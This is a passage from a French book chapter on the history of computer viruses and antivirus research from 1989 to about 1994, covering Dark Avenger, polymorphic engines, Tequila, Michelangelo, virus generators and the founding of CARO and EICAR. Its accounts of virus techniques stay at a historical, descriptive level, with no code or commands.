Outre Datacrime, la menace de Jérusalem surgit à nouveau. Le 13 octobre 1989 estaussi un vendredi. Les entreprises hollandaises s’inquiètent donc et questionnentIBM sur tous ces virus qui font parler d’eux. Après avoir trouvé sur un de ces sitesune variante de Cascade, IBM avait décidé, un an plus tôt, de mener ses propresrecherches. L’entreprise disposait maintenant de son propre laboratoire (le High Inte-grity Computing Laboratory dans son centre de recherche Thomas J. Watson) dirigépar Steve White. Ainsi IBM avait maintenant un anti-virus pour un usage interne.

L’insistance des grands comptes les amena à proposer en septembre 1989, uneversion 1.0 de leur logiciel IBM V SCAN. Une proposition de vente fut envoyée àde nombreux grands comptes français.

Outre Atlantique, la proximité de l’anniversaire de la découverte de l’Amériquepar Christophe Colomb (le 2ème lundi d’octobre) amène la presse à débaptiser levirus. Datacrime prend le nom de Columbus Day. Là-bas aussi, l’affaire fait grandbruit (on parle d’une action terroriste !) alors qu’il est probable qu’aucune souche duvirus n’ait été rencontrée.

En France Datacrime et Jérusalem sont restés discrets. Le journal Le Monde du15 octobre 1989 titre « Apocalypse not – Le virus a fait chou blanc : il n’y a pas eu degrande panne informatique le vendredi 13 ». L’article indique que depuis deux jours, onn’a plus de mots assez durs, chez IBM, pour se moquer du mouvement de paniqueapparu en France et aux Pays-Bas.

Toujours selon le journal, le CLUSIF1 indique que deux grandes entreprises etune cinquantaine de PME lui ont déclaré qu’elles avaient été contaminées et avanceun taux de contamination de 1 %.

1. CLUSIF : CLub de la Sécurité des Systèmes d’Information Français. Fondé en 1984.

PAGET_Ch02 Page 49 Lundi, 11. avril 2005 5:25 17

50 Chapitre 2. Historique – de l’innocence à la tentation criminelle

2.8.4 Recherche par signature

Outre un READ.ME, IBM V SCAN comportait 3 fichiers :

• VIRSCAN.EXE (l’exécutable de 44983 octets),• SIGFILE.LST (les signatures de virus fichier, 2873 octets),• SIGBOOT.LST (les signatures de virus système, 980 octets).

Dans sa version d’octobre 1989, il détectait 28 virus.

Portant le même nom de fichier que le produit d’IBM (VIRSCAN.EXE), maisdestiné au grand public, un logiciel gratuit est distribué dès août 1989 sur FidoNet1.

Le programme est mis au point par J. P. van der Landen et Jan Tersptra. Le seconds’occupe du fichier de signature. Il se nomme VIRSCAN.DAT et détecte dans sapremière version une vingtaine de virus.

Quelques mois plus tard, d’autres produits tels que TBSCAN et HTSCAN(juin 1990) utiliseront ce même fichier.

Les signatures sont simples, on n’utilise alors aucun caractère générique (ni joker,ni wildcard).

Des recherches similaires ont lieu simultanément dans divers pays et de nom-breux produits comparables apparaissent dès la mi 1989 (URSS, Israël…). Neciblant encore parfois qu’un seul virus, certains grands noms sortent de l’ombre :

• Vesselin Bontchev, s’intéresse aux virus dès 1988. Il propose des logicielsgratuits (freeware).

• Roger Riordan crée une première version de Vet (Cybec) en avril 1989 (ellene détecte que le virus Stoned.

• Avant de proposer F-Prot en avril 1989, Fridrik Skulason crée un programmedétectant le seul Cascade.

• John McAfee distribue VirusScan. C’est un logiciel contributif distribuégratuitement à l’essai (shareware). Une version licenciée peut être obtenuepour 15 dollars. Avec sa version 0.3V19 en date du 2 juillet 1989, 19 virusdifférents sont détectables auxquels s’ajoutent de nombreuses variantes. Untop-10 est édité, il regroupe, selon son auteur, plus de 90 % des infectionsrecensées.

• En décembre 1989, l’ordinateur d’Eugène Kaspersky est infecté par Cascade.Cet événement le pousse à changer de carrière et à créer son premier anti-virus : -V (minus-virus) qu’il renommera bien plus tard AVP – AntiViral Tool-kit Pro.

1. Fidonet est un réseau mondial de micro serveurs, aussi appelés serveurs ou BBS (Bulletin BoardSystem).

PAGET_Ch02 Page 50 Lundi, 11. avril 2005 5:25 17

51©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.9 L’énigme du premier macro-virus

2.9 L’ÉNIGME DU PREMIER MACRO-VIRUS

Lorsque apparaît en 1995, le virus Concept, de nombreux chercheurs anti-virusdéclarèrent l’avoir depuis longtemps envisagé. Certains, avec le Docteur HaroldJoseph Highland, en soupçonnaient même l’existence en Europe dès le milieu del’année 1988.

Dans un premier temps, ce scientifique préféra garder le silence, pour ne pas don-ner d’idées à certains vandales. Pour ne pas laisser les responsables sécurité dansl’ignorance, il se décida à publier, en août 1989, un article dans Computers & Secu-rity1. Un autre argument avancé fut la crainte infondée d’une telle menace du fait del’existence de procédures de détection très simples pouvant prévenir toute infection.

L’article commence ainsi : « Il y a presque un an de cela, alors qu’éclataient diversrapports nous alertant sur les virus informatiques – The Pakistani Brain, Lehigh’s COM-MAND.COM, Friday the 13th, April 1st, Alameda Boot – nous recevions également desinformations persistantes de virus s’attaquant aux feuilles de travail. À cette époque nousétions incapables d’en confirmer leurs existences. Nous décidions d’inclure cela parmi leshystéries collectives ou l’on crie à l’attaque virale alors qu’il ne faut voir qu’une erreurhumaine ou un bug de programme. »

Dans ce même papier, on apprend qu’une telle attaque eue lieu dans une grandeentreprise multinationale à la fin de 1988. On apprend aussi que l’auteur de l’articleet ses collègues réalisèrent, sous Lotus 123, un macro-virus de laboratoire dont l’objec-tif était l’altération d’une valeur dans une cellule de feuille de calcul lors de son

TOP-10 (source McAfee – Juillet 1989)

Pakistani Brain

Jérusalem

Alameda

Cascade (1701/1704)

Ping-Pong

Stoned

Lehigh

Den Zuko

Datacrime (1280/1168)

Fu Manchu

1. HIGHLAND, Harold Joseph (1989), Random Bits & Bytes, Computers & Security, Août 1989,pp178-188.

PAGET_Ch02 Page 51 Lundi, 11. avril 2005 5:25 17

52 Chapitre 2. Historique – de l’innocence à la tentation criminelle

ouverture. Dans le cas présenté, le virus utilisait une macro auto exécutable gérant lessauvegardes et certaines opérations réalisées en mode multi-utilisateurs. Elle étaitchargée automatiquement chaque fois qu’un fichier existant était ouvert.

L’auteur indique qu’un macro-virus, « qui n’est pas un virus de données », peut êtreenvisagé avec d’autres logiciels, voire avec un simple éditeur de texte, à partir dumoment ou il est possible d’écrire ses propres macros.

Pour se protéger, il indique la nécessité d’examiner la présence de macros avantl’ouverture d’un modèle ou d’une feuille de travail. Pour cela, il préconise :

• l’utilisation de l’édition avancée des Norton Utilities1 pour retrouver le nomdes macros à l’aide de l’éditeur hexadécimal,

• l’évaluation, sous Lotus 123, des macros dont une liste vient d’être établie,• la recherche d’éventuelles lignes, colonnes ou cellules cachées.

Deux jours après l’annonce de la prochaine diffusion de l’article, la revue avaitreçu de nombreuses demandes de souches. Quatre émanaient de concepteurs de pro-duit anti-virus.

L’éditeur décida alors d’ajouter une note précisant : « Nous n’avons définitivementpas l’intention d’envoyer de virus à quiconque souhaite réaliser une intervention sur le sujetou une démonstration publique. » Le comité éditorial concluait : « Nous apprécierons dene plus recevoir aucune demande touchant les virus si elle n’émane pas d’un organismegouvernemental. Nous décidons de ne plus fournir le moindre renseignement sur la macro-virus décrite dans nos colonnes. Veuillez ne plus nous écrire et ne plus nous téléphoner à cesujet ; notre réponse sera toujours <NON>. »

Telle fut, peut-être, la raison du silence qui persista jusqu’en 1994.

2.10 1989 – 1992 : INVESTIGATION ET CHALLENGE

En juillet 1989 sort le premier numéro d’une publication internationale sur laprévention, la détection et la suppression des virus informatiques. Il s’agit dumensuel anglais Virus Bulletin.

Aujourd’hui encore, il s’agit de la revue de référence du domaine. La plupart deschercheurs y écrivent régulièrement des articles. Très technique, elle a su dès l’ori-gine proposer des descriptions complètes et précises sans jamais diffuser un seul mor-ceau de code. Très régulièrement elle propose des comparatifs produits sanscomplaisance et distribue ses récompenses intitulés VB 100 % award.

Très vite, les deux principales sources fiables de chaînes de recherche sont larevue Virus Bulletin et le produit IBM scanner.

1. Série d’utilitaires aujourd’hui distribuée par Symantec.

PAGET_Ch02 Page 52 Lundi, 11. avril 2005 5:25 17

53©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.10 1989 – 1992 : Investigation et challenge

Le forum VIRUS-L s’est lui aussi mis en place. Au travers des échanges de ses par-ticipants, il donne des informations sur les vers et les virus, aussi bien que sur lesréseaux et les micros.

C’est alors que les choses se compliquent à l’Ouest comme à l’Est.

2.10.1 Le vengeur ténébreux

À partir du printemps 1989, un auteur bulgare se faisant appeler Dark Avengerimagine de nouveaux virus. D’une taille de 1800 octets, le premier d’entre eux portele nom de son auteur. Intégrée au code, une chaîne de caractères précise : « Thisprogram was written in the city of Sofia © 1988-89 Dark Avenger ».

C’est un infecteur rapide (fast infector) : une fois en mémoire, il est à mêmed’infecter un fichier lors d’une simple manipulation. Il n’est plus indispensable del’exécuter pour l’infecter. Une simple copie d’un répertoire vers un autre s’avère suf-fisante.

L’idée d’agir à l’ouverture du fichier est nouvelle. Cette stratégie contribue à lapropagation et à la notoriété du virus et de son auteur. En effet, la simple utilisationd’un anti-virus obsolète en environnement contaminé, peut conduire à l’infectionde l’ensemble des exécutables vérifiés.

Dark Avenger.1800 est aussi destructeur et vicieux : il écrase, à chaque seizièmeexécution de son code, un secteur du disque choisi au hasard. Il entraîne ainsi descorruptions qui ne sont pas nécessairement repérées et qui peuvent corrompre silen-cieusement des sauvegardes effectuées postérieurement à l’apparition du virus.

Dark Avenger signait nombre de ses virus, il s’amusait aussi à brouiller les cartesen faisant en sorte de les attribuer à des chercheurs tels que Vesselin Bontchev (DarkAvenger.2000, Dark Avenger.2100).

C’est à cette époque qu’entrent en jeu les premiers BBS (Bulletin Board System)d’échange de virus. Dark Avenger les utilise pour diffuser ses créations et dialogueravec d’autres auteurs. Il encourage la création de virus et l’esprit de compétition.Avec ses compatriotes il fait de la Bulgarie un leader dans la production des virus.Ceux-ci sont souvent destructeurs et contiennent des messages qui précisent leurprovenance.

En janvier 1992, les virus polymorphes se répandent. Depuis le Virus eXchangeBBS, Dark Avenger annonce l’arrivée d’un nouveau venu capable de prendre4.000.000.000 de formes différentes : C’est son Mutation Engine.

Cet outil, parfois qualifié de révolutionnaire, est toujours source d’inspirationpour de nombreux auteurs de virus. MtE n’est pas en lui même un virus, mais unesurcouche qui, appliquée à un virus existant, le crypte avec un module lui-mêmevariable (polymorphie). Ce procédé tend à rendre partiellement inefficace les tech-niques de recherche de l’époque.

PAGET_Ch02 Page 53 Lundi, 11. avril 2005 5:25 17

54 Chapitre 2. Historique – de l’innocence à la tentation criminelle

L’utilisation d’un générateur de nombre aléatoire génère des changements à cha-que mutation. Il n’est alors plus possible d’identifier deux variantes consécutivesavec la même procédure de recherche. De plus, le générateur utilisé n’est pas néces-sairement celui résultant de MtE ; un autre auteur de virus peut en intégrer un autre,issu de ses propres recherches.

L’utilisation du MtE n’est pas à la portée de tous ; il faut de bonnes connaissancesen assembleur. Parmi les virus créés sur ce principe, citons MtE.Pogue, issu de lafamille Gotcha et créé par Masud Khafir (groupe TridenT). Il mettra au point un outilsimilaire au MtE en 1992 et 1993 : le TPE – TridenT Polymorphic Engine.

Dark Avenger inventa bien d’autres techniques virales évoluées telle que celle dufractionnement. Il appliqua cette méthode à Commander Bomber. Elle consiste àinsérer des parties de code viral en divers endroits du fichier infecté afin d’obligerl’anti-virus à mener une recherche étendue.

2.10.2 1260 : Le premier virus polymorphe

En partant du virus Vienna, un américain nommé Mark Washburn crée le premiervirus polymorphe (1260, alias V2P1)1. Sa particularité est qu’il utilise un encryptagevariable. Le décrypteur, placé au début du virus peut prendre plusieurs formes. Les 8instructions nécessaires au décryptage sont placées dans un ordre aléatoire tandisque d’autres instructions sans aucune utilité sont insérées ici et là. Ces instructionsn’affectent aucunement le contenu des registres ; leur seule utilité est d’interdirel’utilisation d’une recherche basée sur une chaîne hexadécimale simple.

Cet auteur créa des virus de plus en plus complexes (de V2P1 à V2P6, alias Cha-meleon). Certains éditeurs d’anti-virus mirent beaucoup de temps pour imaginer unesolution fiable de détection. Ils devaient analyser statistiquement le code, repérerune éventuelle boucle de programmation et, pour certains, tenter un décryptageavant de poursuivre la recherche au sein des chaînes décryptées.

Chez Sophos, le Docteur Jan Hruska intégre dans son scanner Vaccine une rou-tine capable de comprendre le code à analyser. Il la baptise VDL (Virus DescriptionLanguage).

De son coté, Alan Solomon, répond par un outil de décryptage générique : GDE– Generic Decryption Engine. Il l’incorpore à sa technologie propriétaire Virtran.

2.10.3 Flip, Tequila ET Maltese Amoeba

En septembre 1990, un virus très visuel voit le jour. Il est polymorphe et multipar-tite. Ce nouveau qualificatif est dédié aux virus infectant à la fois les zones systèmeet les fichiers. À la différence de ses 2 prédécesseurs ( Anthrax et V1), il fonctionne !

1. The Shape Shifters, Virus Bulletin, novembre1993, pp 13-15.

PAGET_Ch02 Page 54 Lundi, 11. avril 2005 5:25 17

55©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.10 1989 – 1992 : Investigation et challenge

Son nom est Flip, (alias Omicron). S’il investit la machine d’un utilisateur, celui-ci risque d’être surpris : le deuxième jour de chaque mois, entre 16h et 16h59, l’affi-chage pivote de 180 degrés. Il faut éliminer le virus ou retourner son écran…

L’auteur signe son virus avec le message :

OMICRON by PsychoBlast

3 mois plus tard, en Suisse, l’auteur présumé de Flip crée Tequila. Il s’agit aussid’un virus multipartite. Il est partiellement furtif et hautement polymorphe. Un amide l’auteur, dont le père distribue des logiciels de jeu, le dérobe. Les logiciels sontinfectés. Pour la première fois, un virus polymorphe se diffuse à grande échelle.

Le principal effet du virus est l’affichage d’un bloc graphique représentant unecourbe fractale de Mandelbrot1. L’affichage n’est pas systématique, il dépend de ladate et du nombre de fichiers infectés. Divers textes sont appelés à l’écran. L’und’entre eux aida sans doute la police dans sa recherche des coupables :

Welcome to T.TEQUILA’s latest production. Contact T.TEQUILA/P.o.Box 543/6312 St’hausen/Switzerland. Loving thoughts to L.I.N.D.A BEER and TEQUILA forever !

Les 2 amis sont arrêtés le 20 mai 1991 dans le village suisse de St Hausen2.

Outre la polymorphie, ce virus développe une autre subtilité : afin d’éviter lesinfections à répétition, le virus marque les fichiers infectés en mettant les secondes à62 dans l’heure de modification. La commande DIR du DOS et l’Explorateur deWindows n’affichent pas les secondes. Le marqueur reste donc invisible pour un uti-lisateur non averti.

Il faudra attendre plusieurs mois avant que les détecteurs reconnaissent Tequilasans omission. Lorsqu’ils arrivent au bout de leur peine, un nouveau venu, encoreplus difficile à repérer, voit le jour : Maltese Amoeba.

Bien qu’originaire de l’île de Malte, le virus est découvert en Irlande en septem-bre 1991. C’est un infecteur rapide, il cible les programmes .com et .exe à l’exécutioncomme à l’ouverture. Le 15 mars et le 1er novembre, il écrase certaines zones des dis-ques durs. Une fois le travail accompli l’écran flashe périodiquement et indéfini-ment.

Au redémarrage de la machine, un poème s’affiche à l’écran. Il s’agit des 4 pre-mières lignes des Auguries of Innocence du peintre, graveur et poète visionnaireanglais William Blake :

To see a world in a grain of sandAnd a heaven in a flower

1. Mathématicien français d’origine polonaise né en 1924. Il découvre les fractales, objets mathé-matiques dont la création ou la forme ne trouve ses règles que dans l’irrégularité ou la fragmenta-tion. Voir : http://perso.magic.fr/ormerry/fractales/fractal.html.2. Virus Bulletin, juin 1991, p24.

PAGET_Ch02 Page 55 Lundi, 11. avril 2005 5:25 17

56 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Hold infinity in the palm of your handAnd eternity in an hour.THE VIRUS 16/3/91.

Un autre texte est contenu dans le code viral, il est visible une fois décrypté etnous renseigne sur l’origine du virus :

AMOEBA virus by the Hacker Twins (C) 1991 This is nothing, wait for the releaseof AMOEBA II – The universal infector, hidden to any eye by ours! Dedicated to theUniversity of Malta-the worst educational system in the universe, and the destroyer of5X2 years of human life.

À la lecture de cet épitaphe, certains proposèrent de mener des recherches dansl’université maltaise. Ils espéraient y trouver 2 étudiants entrés dans l’établissementen 1986 ou 87, toujours présents en mars 1991, poursuivant un cycle d’étude de5 années et ayant étudiés Williams Blake1.

2.10.4 Tous azimuts pour les virus et les anti-virus

Au cours des années 1990, le nombre des virus augmente fortement. Le phénomèneintéresse les chercheurs et séduit les éditeurs de logiciel. En janvier 1991, on estimequ’il existe entre 200 à 300 virus.

Le 7 décembre 1990, la presse française annonce le lancement par Symantec deNorton Antivirus 1.0. Il comprend un module résident en mémoire (Virus Intercept)et un module de diagnostic (Virus Clinic).

De son coté, Joe Wells, commence sa carrière de chercheur anti-virus chez Cer-tus International.

Mark Ludwig sort son livre The Little Black Book of Computer Viruses2. Il contientdes informations générales sur les virus et des codes sources. Les virus présentés n’ontrien d’innovant. Ils se nomment Timid, Intruder, Kilroy, Stealth. Deux ans plus tard,la traduction française du livre3 par Jean-Bernard Condat est très controversée enFrance.

Pour les anti-virus, le travail n’est pas simple. Le DOS ne gérant que 640 Ko, leschaînes de recherches tiennent de moins en moins facilement en mémoire. L’antivi-rus et les pilotes réseau se bousculent, ils ont parfois bien du mal à cohabiter. Letemps d’analyse augmente, les identifications ne sont pas toujours exactes et les con-fusions entraînent des erreurs de réparation. Les utilisateurs se plaignent et les

1. BECKETT, James, (1991), Maltese Amoeba… Poetic Injustice, Virus Bulletin, Décembre 1991,pp15-16.2. LUDWIG Marc, (1991), The Little Black Book of Computer Viruses, American Eagle Publica-tion, Inc., ISBN 0-929408-02-0.3. LUDWIG Marc, (1993), Naissance d’un Virus, Addison-Wesley, Traduit de l’anglais (améri-cain) par Jean-Bernard Condat, ISBN : 2-87908-063-7.

PAGET_Ch02 Page 56 Lundi, 11. avril 2005 5:25 17

57©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.10 1989 – 1992 : Investigation et challenge

auteurs de virus s’en donnent à cœur joie. Regroupés autour de BBS nationaux clan-destins, ils facilitent la propagation et vulgarisent leur savoir.

Dark Avenger n’est pas seul, tout un chacun cherche à faire connaître ses créa-tions pour s’imposer comme précurseur dans le domaine :

• En octobre 1989, Frodo est découvert à Haïfa en Israël. Il s’agit du premiervirus programme totalement furtif. De par sa conception, il doit endommagerles disques durs, à compter du 22 septembre de chaque année mais un disfonc-tionnement n’entraîne qu’un arrêt brutal de la machine. De leur coté, desauteurs bulgares diffusent le virus 512, lui aussi totalement furtif.Un autre virus fonctionne encore plus mal que Frodo, mais sa taille et sacomplexité intrigue. Apparu en août 90, Whale comporte de nombreusestechniques de protection contre le désassemblage et en fait le premier virusdéfensif.

• En Avril 1990, apparaît le premier virus compagnon (AIDS-II.8064). Sonorigine semble être hollandaise. Contrairement à ses prédécesseurs, il laisseinchangé le fichier .exe qu’il vise mais crée un fichier .com du même nom.Tirant partie de la priorité réservée par le DOS aux fichiers .com vis à vis des.exe, le code viral s’exécute de manière prioritaire à l’appel du programme.

• En janvier 1991, un virus multipartite d’un genre particulier est découvert àMoscou1. Surnommé Starship, il maintient son code dans l’espace dédié à lamémoire vidéo pour ne se transférer en mémoire RAM. Il contient des routi-nes interdisant son traçage et son désassemblage.L’environnement NetWare de Novell fait l’objet d’expérimentations, en juin1991. GP1 est dérivé de Jerusalem. Son auteur cherche à démontrer qu’il estpossible de détourner des mots de passe. Le code réalisant cette fonctionnalitéest bogué, mais peut, selon les experts, être aisément rendu fonctionnel2.

• En septembre 1991 apparaît le premier virus délocalisé. Venant de Bulgarie,DIR-II modifie les entrées de la table d’allocation des fichiers faisant pointerl’ensemble des fichiers ciblés vers un même cluster3. Caché là en un seulexemplaire, le virus s’exécute avant de redonner la main au programme légi-time4.À cette époque la Bulgarie fait de plus en plus parler d’elle. Vesselin Bontchevécrit en 1991 un document intitulé les « usines à virus » russes et bulgares5. Ilexplique que le pays occupe depuis 1989 la première place pour le nombre de

1. MUTTIK Igor, 1992, STARSHIP – interresting file-boot virus, Disponible à l’adresse: http://sac-ftp.externet.hu/text16.html. Fichier STARSHIP.ZIP.2. BABCOCK, Eric, (1991), Novell’s Analysis of the GP1 Virus, Virus Bulletin, Août 1991, p9.3. Sur un support physique, ensemble de secteurs qui se suivent immédiatement d’un point de vuelogique. C’est l’espace le plus petit pouvant être géré par le système. Limité à un secteur pour lesdisquettes, il varie selon la taille du disque dur.4. BATES, Jim (1991), DIR II – The Much Hyped “Linking” Virus, Virus Bulletin, Novembre 1991,pp11-14.5. BONTCHEV Vesselin, (Septembre 1991), The Bulgarian and Soviet Virus Factories, Premièreconférence du « Virus Bulletin ».

PAGET_Ch02 Page 57 Lundi, 11. avril 2005 5:25 17

58 Chapitre 2. Historique – de l’innocence à la tentation criminelle

virus créés chaque année. Ils font l’objet de nombreuses variantes (Murphy,Nomenclatura, Beast, Tiny…).

Toutes les avancées techniques sont analysées par les adeptes des différentsBBS qui s’ouvrent dans de nombreux pays. Précurseurs d’Internet, ils proposent descentaines de virus au téléchargement. C’est du donnant-donnant. Il faut apporter soi-même des nouveautés pour pouvoir obtenir quelques souches intéressantes.

Cette pratique provoque la multiplication des fichiers suspects. Nombre d’entreeux sont innocents ou bogués. Ils encombrent les laboratoires de recherche et doi-vent être détectés au risque d’apparaître moins performant.

2.10.5 La riposte des chercheurs

Le 19 avril 1991, un journal local allemand Der Aarbote présente 2 nouvelles organi-sations dédiées à la lutte anti-virale :

• le CARO (Computer Antivirus Research Organization). Autour du professeurKlaus Brunnstein, il regroupe les scientifiques en les aidant à coordonner leurstravaux.

• l’EICAR (European Institute for Computer Anti-Virus Research). Il doit rassem-bler les sociétés commerciales du domaine, les scientifiques et les utilisateurss’intéressant à la recherche anti-virale.

Le CARO avait été créé en décembre 1990. À la mi-1991, il comprenait7 membres :

• Vesselin Bontchev, Académie des Sciences de Sofia, Université d’Hambourg.• Klaus Brunnstein, Université de Hambourg.• Christoph Fischer, Université de Karlsruhe, Micro-BIT Virus Center.• Alan Solomon, S & S International, Grande Bretagne.• Fridrik Skulason, Université de Reykjavik.• Morton Swimmer, Université d’Hambourg.• Michael Weiner, Université of Vienne.

Le 24 septembre 1991 à Bruxelles, s’ouvre la première conférence EICAR/CARO. Christoph Fisher lance une invitation sur VIRUS-L.

La veille, l’EICAR est officiellement fondée. Outre la plupart des membres duCARO, on retrouve une trentaine de personnes dont entre autre :

• Paul Ducklin (Afrique du Sud).• Paul Langemeyer (Allemagne).• Gunther von Gravenreuth (Allemagne).• Gunther Musstopf (Allemagne).

PAGET_Ch02 Page 58 Lundi, 11. avril 2005 5:25 17

59©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.11 1992 – 1995 : Générateurs et sophistication

• Roger Riodan (Australie).• Eddy Willems (Belgique).

Ces deux organismes existent encore aujourd’hui.

Le CARO est un lieu de d’échanges privés entre spécialistes. L’un de ses rôles estl’unification des noms des virus. Il permet aussi des échanges rapides et sécurisés. Iln’a aucune ouverture vers le public et les médias.

Active dans les pays germanophones, l’EICAR concentre ses efforts dans la luttecontre la programmation et la prolifération des codes malveillants, tel que les virusinformatiques ou les chevaux de Troie, et contre la délinquance informatique, lafraude et l’utilisation détournée des ordinateurs et réseaux informatiques. Elle orga-nise chaque année une conférence qui rassemble une grande partie des spécialistesdu domaine.

2.10.6 Michelangelo

En 1991, en Australie, Roger Riordan de Cybec découvre une nouvelle variante deStoned.

Il constate que le virus se déclenche le 6 mars. Ce jour là, il est programmé pourécraser une zone d’environ 8 mégaoctets sur les disques durs infectés.

Pour lui trouver un nom de baptême, Roger cherche un évènement attaché àcette date. Il surnomme alors sa trouvaille Michelangelo dont l’anniversaire de nais-sance est le 6 mars (1475).

Ce virus provoquera en 1992 le principal événement médiatique du domaine.Son apparition marque aussi la fin d’une époque. Jusqu’ici les virus étaient souventrestés discrets et cantonnés dans un monde de spécialistes. Ils vont maintenant sortirau grand jour.

2.11 1992 – 1995 : GÉNÉRATEURS ET SOPHISTICATION

Même si leur création fut longtemps auréolée de mystère, la mise au point d’un virusa rarement nécessité de capacités intellectuelles particulières. Bons nombres degroupes ou d’individus voulurent cependant en rendre l’écriture plus facile en diffu-sant des générateurs de virus. Toute personne curieuse et sachant taper sur un clavierput ainsi s’initier à l’écriture virale.

En 1990, le premier générateur voit le jour en France. Il se nomme Genvirus. Dis-tribué directement par son auteur, il est conçu comme un logiciel d’application clas-sique avec ses menus déroulants. Le choix des techniques d’infection est varié ; il enest de même pour les actions de perturbation et de destruction.

Semblablement à ses futurs cousins étrangers, il est présenté comme un logicielde test d’anti-virus : « GENVIRUS a été écrit pour comprendre et démontrer le fonction-

PAGET_Ch02 Page 59 Lundi, 11. avril 2005 5:25 17

60 Chapitre 2. Historique – de l’innocence à la tentation criminelle

nement des virus informatiques et également tester l’efficacité de la protection des program-mes “antivirus” disponibles sur le marché. »

Originaire d’Allemagne, vint ensuite, en mars 1991, VCS V1.0 (Virus Construc-tion Set). Avec cet outil, tous les virus générés ont la même taille. Une chaîne dedétection unique permet la détection de toutes les variantes créées. Manta fut la plusconnue d’entres-elles.

Ces premiers générateurs n’étaient pas très techniques. Il fallut attendre 1992pour voir des outils capables de produire de nombreux virus distincts. Au travers deces outils, ce sont en fait les groupes NuKE (USA, Californie) et Phalcon/Skism(Canada) qui se mesurent :

• en juillet 1992, VCL, Virus Creation Laboratory est proposé par Nowhere Man,membre du groupe NuKE. VCL possède une interface graphique soignée etefficace. En quelques clicks souris vous créez votre virus.

• PS-MPC, Phalcon/Skism – Mass-Produced Code Generator 0.90B est créé parDark Angel. Il sort le même mois.

Sur les traces de Dark Avenger, un Hollandais du groupe TridenT au pseudo deMasud Khafir écrit TPE : Trident Polymorphic Engine. C’est un outil complexe etsophistiqué qui fit l’objet de plusieurs versions successives. Sous la forme d’un fichierobjet, c’est un module, qui doit être inclut dans un programme pour le rendre capa-ble de produire des routines polymorphes. L’ensemble doit être compilé avant utili-sation. TPE.1_0.Girafe.A est l’un des virus que l’auteur créa à partir de son engin.

En 1993, Dark Angel, du groupe canadien Phalcon/Skism lance DAME : DarkAngel’s Multiple Encryptor. Ce nouvel outil est diffusé au travers de leur revue électro-nique 40Hex1.

La course aux outils de mutation se poursuit ensuite inlassablement :

• Avril 1993 – Mark Ludwig / USA – VME (Visible Mutation Engine).• Août 1993 – Black Wolf /USA – Ultimate Mutation Engine.• Septembre 1993 – Black Baron / Grande-Bretagne – SMEG (Simulated Meta-

morphic Encryption Generator).• Septembre 1993 – Dark Slayer /Taiwan – DSME (Dark Slayer Mutation

Engine).• Décembre 1993 – Mark Ludwig / USA – DGME (Darwinian Genetic Mutation

Engine).• Décembre 1993 – Bit Addict / Hollande – DMU (Dutch Mutation Unit).

Une trentaine de nouveaux programmes du même type voient le jour en 1994.Cette profusion d’outils et donc de virus potentiels amènent les concepteurs d’anti-

1. 40 HEX : premier numéro en juin 1991, quatorzième et dernier numéro en avril 1995.

PAGET_Ch02 Page 60 Lundi, 11. avril 2005 5:25 17

61©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.11 1992 – 1995 : Générateurs et sophistication

virus à améliorer sans cesse les routines de décryptage générique qui s’activent avantle processus d’identification virale.

2.11.1 Natas, One_Half et les autres

Les virus proviennent du monde entier et deviennent de plus en plus courant. Laproportion de virus destructeurs est stable, mais les dommages sont plus fréquents.Plusieurs nouveautés posent de gros problèmes.

En septembre 1992, alors que Windows 3.1 voit le jour, les auteurs de virus s’atta-quent avec succès à la structure de ses exécutables (New EXE files). Masud Khafir,auteur de TPE, propose Winvir_1_4. Non résidant en mémoire, le virus n’est pas per-formant. Néanmoins, il tient compte de la structure segmentée des fichiers windows.La chaîne de caractères MK92 contenue dans le code reprend les initiales del’auteur. Il faudra attendre mars 1996 pour qu’un virus dédié à Windows 3.x se pro-page de manière importante : il s’agit de W16/Tentacle.1966.

Après Winvir_1_4, Massud Khafir diffuse en janvier 1993 Cruncher. C’est aussiune première. C’est un virus compresseur qui compacte les fichiers .com qu’il infecte.Le résultat est surprenant et fit dire à certains qu’il s’agissait également du premiervirus bénéfique1. On constate en effet qu’un disque dur infecté a son espace disponi-ble augmenté sans perte de données.

Dans le 40Hex de décembre 1993, un américain au pseudo de Priest présenteNatas2. Dans la lignée de Tequila, le virus est furtif, polymorphique et multipartite.Certaines sources indiquent qu’il fut écrit par un employé d’une société anti-virusaméricaine. Selon Georges Smith3, c’est après avoir écrit le virus que son auteuraurait été approché par Norman Data. Il s’agirait d’un adolescent de San Diego(USA) du nom de James Gentile.

Ecrit en Tchécoslovaquie en 1994, One_Half arrive comme un nouveau casse-tête pour les compagnies anti-virales. Une partie de son code est éparpillé en diversendroits du fichier qu’il infecte. Il faut suivre son cheminement pour pouvoir espérerle décrypter, le détecter et l’éradiquer de manière efficace. À chaque démarrage de lamachine, le virus crypte deux cylindres du disque dur. Il commence à la fin du disqueet ne s’arrête que lorsque celui-ci est crypté de moitié4. C’est à ce moment qu’il semanifeste visuellement, il affiche le message Dis is one half.

Tant que l’ordinateur est contaminé, le virus décrypte les données à la volée. Sil’utilisateur nettoie sans précaution son disque, son contenu est perdu. Pour le récu-pérer, il faut faire appel à des outils spéciaux et des procédures manuelles complexes.

1. KASPERSKY Eugène (1993a), Cruncher – The first Beneficial Virus ?, Virus Bulletin, juin 1993,pp8-9.2. Satan à l’envers.3. SMITH Georges (1996), The Virus Creation Labs: A Journey Into the Underground, AmericanEagle, ISBN 0-929408-09-8.4. KASPERSKY Eugène (1994b), One_Half: The Lieutenant Commander ?, Virus Bulletin, octo-bre 1994, pp 9-10.

PAGET_Ch02 Page 61 Lundi, 11. avril 2005 5:25 17

62 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Bien d’autres virus sont créés ces années là. C’est la course à la sophistication :

